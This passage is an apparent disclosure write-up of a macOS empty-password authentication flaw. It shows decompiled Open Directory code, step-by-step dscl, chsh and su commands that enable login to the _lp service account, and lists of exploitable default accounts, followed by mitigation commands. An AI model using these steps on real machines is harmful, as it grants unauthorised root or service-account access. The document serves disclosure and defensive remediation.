_securetoken_helpers_update_authauthority(var_60, r12, var_40, r13, 0x4, 0x1, arg6);
rbx = 0x1;
}
r12 = var_38;
rdi = var_48;
if (rdi != 0x0) {
CFRelease(rdi);
}
}
rbx = rbx != 0x0 ? 0x1 : 0x0;
goto loc_100058655;
loc_1000580bf:
rbx = CFSetCreateMutable(**_kCFAllocatorDefault, 0x0, *_kCFTypeSetCallBacks);
var_E8 = *__NSConcreteStackBlock;
*(int32_t *)(&var_E8 + 0x8) = 0x40000000;
*(int32_t *)(&var_E8 + 0xc) = 0x0;
*(&var_E8 + 0x10) = sub_100058780;
*(&var_E8 + 0x18) = 0x100085a58;
*(&var_E8 + 0x20) = rbx;
_odarray_enumerate(var_58, &var_E8);
rdi = var_58;
if (rdi != 0x0) {
CFRelease(rdi);
}
rax = CFSetContainsValue(rbx, @"EBC6C064-0000-11AA-AA11-00306543ECAC");
var_80 = r12;
if ((rax == 0x0) && ((((CFSetContainsValue(rbx, @"64C0C6EB-0000-11AA-AA11-00306543ECAC") == 0x0) && (CFSetContainsValue(rbx, @"C064EBC6-0000-11AA-AA11-00306543ECAC") == 0x0)) && (CFSetContainsValue(rbx, @"EC1C2AD9-B618-4ED6-BD8D-50F361C27507") == 0x0)) && (CFSetContainsValue(rbx, @"2FA31400-BAFF-4DE7-AE2A-C3AA6E1FD340") == 0x0))) {
r12 = *__NSConcreteStackBlock;
var_48 = 0x0;
}
else {
CFSetRemoveValue(rbx, @"EBC6C064-0000-11AA-AA11-00306543ECAC");
CFSetRemoveValue(rbx, @"64C0C6EB-0000-11AA-AA11-00306543ECAC");
CFSetRemoveValue(rbx, @"C064EBC6-0000-11AA-AA11-00306543ECAC");
CFSetRemoveValue(rbx, @"EC1C2AD9-B618-4ED6-BD8D-50F361C27507");
CFSetRemoveValue(rbx, @"2FA31400-BAFF-4DE7-AE2A-C3AA6E1FD340");
if (*qword == 0xffffffffffffffff) {
r12 = *__NSConcreteStackBlock;
}
else {
r12 = *__NSConcreteStackBlock;
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
rax = os_log_type_enabled(*qword, 0x0);
var_48 = 0x1;
if (rax != 0x0) {
r14 = *qword;
*(int16_t *)(rsp - 0x10) = 0x0;
_os_log_impl(__mh_execute_header, r14, 0x0, "Ignoring recovery records", rsp - 0x10, 0x2);
rsp = rsp;
}
}
r14 = CFSetGetCount(rbx);
CFRelease(rbx);
if (r14 == 0x0) goto loc_1000583be;
loc_100058261:
if (*qword == 0xffffffffffffffff) {
r13 = rbx;
}
else {
r13 = rbx;
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
r12 = var_38;
if (os_log_type_enabled(*qword, 0x10) == 0x0) goto loc_1000584aa;
loc_100058292:
r14 = rsp;
*(int8_t *)(rsp - 0x30) = 0x2;
*(int8_t *)(rsp - 0x2f) = 0x4;
*(int8_t *)(rsp - 0x2e) = 0x40;
*(int8_t *)(rsp - 0x2d) = 0x8;
*(rsp - 0x2c) = var_40;
*(int8_t *)(rsp - 0x24) = 0x12;
*(int8_t *)(rsp - 0x23) = 0x4;
*(int32_t *)(rsp - 0x22) = 0x10;
*(int8_t *)(rsp - 0x1e) = 0x32;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = r15;
*(int8_t *)(rsp - 0x14) = 0x42;
*(int8_t *)(rsp - 0x13) = 0x8;
*(rsp - 0x12) = r13;
goto loc_100058498;
loc_100058498:
_os_log_error_impl();
rbx = 0x0;
goto loc_100058655;
loc_1000584aa:
rbx = 0x0;
goto loc_100058655;
loc_1000583be:
rcx = arg6;
if (*(*(rcx + 0x8) + 0x10) != 0x0) {
var_C0 = r12;
*(int32_t *)(&var_C0 + 0x8) = 0x40000000;
*(int32_t *)(&var_C0 + 0xc) = 0x0;
*(&var_C0 + 0x10) = sub_100058791;
*(&var_C0 + 0x18) = 0x100085a78;
*(&var_C0 + 0x20) = rcx;
dispatch_sync(*rcx, &var_C0);
}
r12 = var_80;
if (var_48 == 0x0) goto loc_100057f2b;
loc_100058415:
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
r12 = var_38;
if (os_log_type_enabled(*qword, 0x10) == 0x0) goto loc_1000584aa;
loc_10005843f:
r14 = rsp;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
goto loc_100058498;
loc_100058079:
rbx = _securetoken_helpers_repair_user(var_60, rbx, var_40, r14, 0x0, r15, r13, r12) == 0x0 ? 0x1 : 0x0;
rdi = 0x0;
if (rdi != 0x0) {
CFRelease(rdi);
}
goto loc_1000583b5;
loc_100057e45:
if (*qword != 0xffffffffffffffff) {
dispatch_once(qword, ^ {/* block implemented at sub_100058d14 */ } });
}
if (os_log_type_enabled(*qword, 0x1) == 0x0) goto loc_100057ed6;
loc_100057e6b:
r14 = rsp;
*(int8_t *)(rsp - 0x20) = 0x2;
*(int8_t *)(rsp - 0x1f) = 0x3;
*(int8_t *)(rsp - 0x1e) = 0x40;
*(int8_t *)(rsp - 0x1d) = 0x8;
*(rsp - 0x1c) = var_40;
*(int8_t *)(rsp - 0x14) = 0x12;
*(int8_t *)(rsp - 0x13) = 0x4;
*(int32_t *)(rsp - 0x12) = 0x10;
*(int8_t *)(rsp - 0xe) = 0x32;
*(int8_t *)(rsp - 0xd) = 0x8;
*(rsp - 0xc) = r15;
goto loc_100057eb9;
}
Somehow, the upgrade process seems to be triggered even if the password isn't validated.
On the first pass, we clearly see the PlistFile backend denying the authentication, on the second pass this system isn't triggered. It look like another system is accepting the auth. Also, diference on the second pass, there is a SQLite syntax error triggered.
Accounts like the root one can be simply enabled by doing login tryout without password, from most kind of login interface (dscl, lockpad, loginwindow, VNC…).
For that, the account still need to be allowed for login (valid shell and etc.).
Aside of the root account, the trick can be used on any service account from any kind of opened session.
As an example, here is how to set a password and a shell to _lp
account.
Locals-Mac:~ user$ dscl . -authonly _lp ""
Authentication for node /Local/Default failed. (-14090, eDSAuthFailed)
<dscl_cmd> DS Error: -14090 (eDSAuthFailed)
Locals-Mac:~ user$ dscl . -authonly _lp ""
Locals-Mac:~ user$ dscl . -passwd /Users/_lp "" "test"
Locals-Mac:~ user$ chsh _lp
Changing shell for _lp.
Password for _lp:
Locals-Mac:~ user$ finger _lp
Login: _lp Name: Printing Services
Directory: /var/spool/cups Shell: /bin/bash
Never logged in.
No Mail.
No Plan.
Locals-Mac:~ user$ su lp
Password:
bash-3.2$ whoami
_lp
By default, macOS as few accounts already created.
Accounts vulnerables are the one using the "crypt" disabling method (putting a * in the passwd field).
Such a list of account can be retrieved with a dscl request.
One * is vulnerable, multiple is not vulnerable.
dscl . list /Users Password
_amavisd *
_analyticsd *
_appleevents *
_applepay *
_appowner *
_appserver *
_appstore *
_ard *
_assetcache *
_astris *
_atsserver *
_avbdeviced *
_calendar *
_captiveagent *
_ces *
_clamav *
_cmiodalassistants *
_coreaudiod *
_coremediaiod *
_ctkd *
_cvmsroot *
_cvs *
_cyrus *
_datadetectors *
_devdocs *
_devicemgr *
_displaypolicyd *
_distnote *
_dovecot *
_dovenull *
_dpaudio *
_eppc *
_findmydevice *
_fpsd *
_ftp *
_gamecontrollerd *
_geod *
_hidd *
_iconservices *
_installassistant *
_installer *
_jabber *
_kadmin_admin *
_kadmin_changepw *
_krb_anonymous *
_krb_changepw *
_krb_kadmin *
_krb_kerberos *
_krb_krbtgt *
_krbfast *
_krbtgt *
_launchservicesd *
_lda *
_locationd *
_lp *
_mailman *
_mbsetupuser ********
_mcxalr *
_mdnsresponder *
_mobileasset *
_mysql *
_netbios *
_netstatistics *
_networkd *
_nsurlsessiond *
_nsurlstoraged *
_ondemand *
_postfix *
_postgres *
_qtss *
_sandbox *
_screensaver *
_scsd *
_securityagent *
_serialnumberd *
_softwareupdate *
_spotlight *
_sshd *
_svn *
_taskgated *
_teamsserver *
_timed *
_timezone *
_tokend *
_trustevaluationagent *
_unknown *
_update_sharing *
_usbmuxd *
_uucp *
_warmd *
_webauthserver *
_windowserver *
_www *
_wwwproxy *
_xserverdocs *
daemon *
nobody *
root *
This list must be crosschecked with the UserShell
value
The users without /usr/bin/false
and a single * as password should be OK for a direct usage like the root one, from most kind of login interface (see section Setting an empty password for any "crypt" disabled accounts)
For others, it's still possible to change the shell from any kind of already logged accounts following section Enabling a service account for login
dscl . list /Users UserShell
_amavisd /usr/bin/false
_analyticsd /usr/bin/false
_appleevents /usr/bin/false
_applepay /usr/bin/false
_appowner /usr/bin/false
_appserver /usr/bin/false
_appstore /usr/bin/false
_ard /usr/bin/false
_assetcache /usr/bin/false
_astris /usr/bin/false
_atsserver /usr/bin/false
_avbdeviced /usr/bin/false
_calendar /usr/bin/false
_captiveagent /usr/bin/false
_ces /usr/bin/false
_clamav /usr/bin/false
_cmiodalassistants /usr/bin/false
_coreaudiod /usr/bin/false
_coremediaiod /usr/bin/false
_ctkd /usr/bin/false
_cvmsroot /usr/bin/false
_cvs /usr/bin/false
_cyrus /usr/bin/false
_datadetectors /usr/bin/false
_devdocs /usr/bin/false
_devicemgr /usr/bin/false
_displaypolicyd /usr/bin/false
_distnote /usr/bin/false
_dovecot /usr/bin/false
_dovenull /usr/bin/false
_dpaudio /usr/bin/false
_eppc /usr/bin/false
_findmydevice /usr/bin/false
_fpsd /usr/bin/false
_ftp /usr/bin/false
_gamecontrollerd /usr/bin/false
_geod /usr/bin/false
_hidd /usr/bin/false
_iconservices /usr/bin/false
_installassistant /usr/bin/false
_installer /usr/bin/false
_jabber /usr/bin/false
_kadmin_admin /usr/bin/false
_kadmin_changepw /usr/bin/false
_krb_anonymous /usr/bin/false
_krb_changepw /usr/bin/false
_krb_kadmin /usr/bin/false
_krb_kerberos /usr/bin/false
_krb_krbtgt /usr/bin/false
_krbfast /usr/bin/false
_krbtgt /usr/bin/false
_launchservicesd /usr/bin/false
_lda /usr/bin/false
_locationd /usr/bin/false
_lp /usr/bin/false
_mailman /usr/bin/false
_mbsetupuser /bin/bash
_mcxalr /usr/bin/false
_mdnsresponder /usr/bin/false
_mobileasset /usr/bin/false
_mysql /usr/bin/false
_netbios /usr/bin/false
_netstatistics /usr/bin/false
_networkd /usr/bin/false
_nsurlsessiond /usr/bin/false
_nsurlstoraged /usr/bin/false
_ondemand /usr/bin/false
_postfix /usr/bin/false
_postgres /usr/bin/false
_qtss /usr/bin/false
_sandbox /usr/bin/false
_screensaver /usr/bin/false
_scsd /usr/bin/false
_securityagent /usr/bin/false
_serialnumberd /usr/bin/false
_softwareupdate /usr/bin/false
_spotlight /usr/bin/false
_sshd /usr/bin/false
_svn /usr/bin/false
_taskgated /usr/bin/false
_teamsserver /usr/bin/false
_timed /usr/bin/false
_timezone /usr/bin/false
_tokend /usr/bin/false
_trustevaluationagent /usr/bin/false
_unknown /usr/bin/false
_update_sharing /usr/bin/false
_usbmuxd /usr/bin/false
_uucp /usr/sbin/uucico
_warmd /usr/bin/false
_webauthserver /usr/bin/false
_windowserver /usr/bin/false
_www /usr/bin/false
_wwwproxy /usr/bin/false
_xserverdocs /usr/bin/false
daemon /usr/bin/false
nobody /usr/bin/false
root /bin/sh
Take care that this list of default account can be extended by third part software and there is no reliable way to identify an account who has been touched (if the offensive is done correctly). So you've to compare the state with a state coming from a trusted computer.
Please, consider the fact there is no really tryout on this solution. You might find border effect to set a password on the services accounts and lead your system to undefined behavior.
This section is provided for information purpose only and should be used carefully based on your own opinion on the issue.
If you've real security threats to handle, the real fix for this issue is to go back on 10.12.
Using proper command line
Locals-Mac:~ ladmin$ dscl -u ladmin . -passwd /Users/_lp "$(openssl rand -base64 32)"
Password: <admin password>
Using vuln itself to fix the vuln
dscl . -authonly _lp ""
dscl . -authonly _lp ""
dscl . -passwd /Users/_lp "" "$(openssl rand -base64 32)"
Another option provided by Pepijn Bruienne would be to delete the password field to avoid the upgrade process. As the other solution, not really tested so take care.
defaults delete /var/db/dslocal/nodes/Default/users/_lp.plist passwd
Iterate across all vulnerable accounts.
while read targetAccount
do
echo "$targetAccount is vulnerable, do something"
done < <(dscl . list /Users Password | grep -v '\*\*' | awk '{print $1}')
Security fix provided by Apple deploy a fixed version of the Open Directory binaries setup.
The post install action also reset the defaults accounts to the original state that can be found in /System/Library/DirectoryServices/DefaultLocalDB/Default/users
.
Content of this folder isn't reseted by the security update. However, the folder is SIP protected.
If you decided to disable SIP on your network you might still be in a undefined state.
This mean, at the end of the security update your system accounts will be in default state. That is to mean, root disabled.
If you enabled root by design before this story, you will have to enable it again.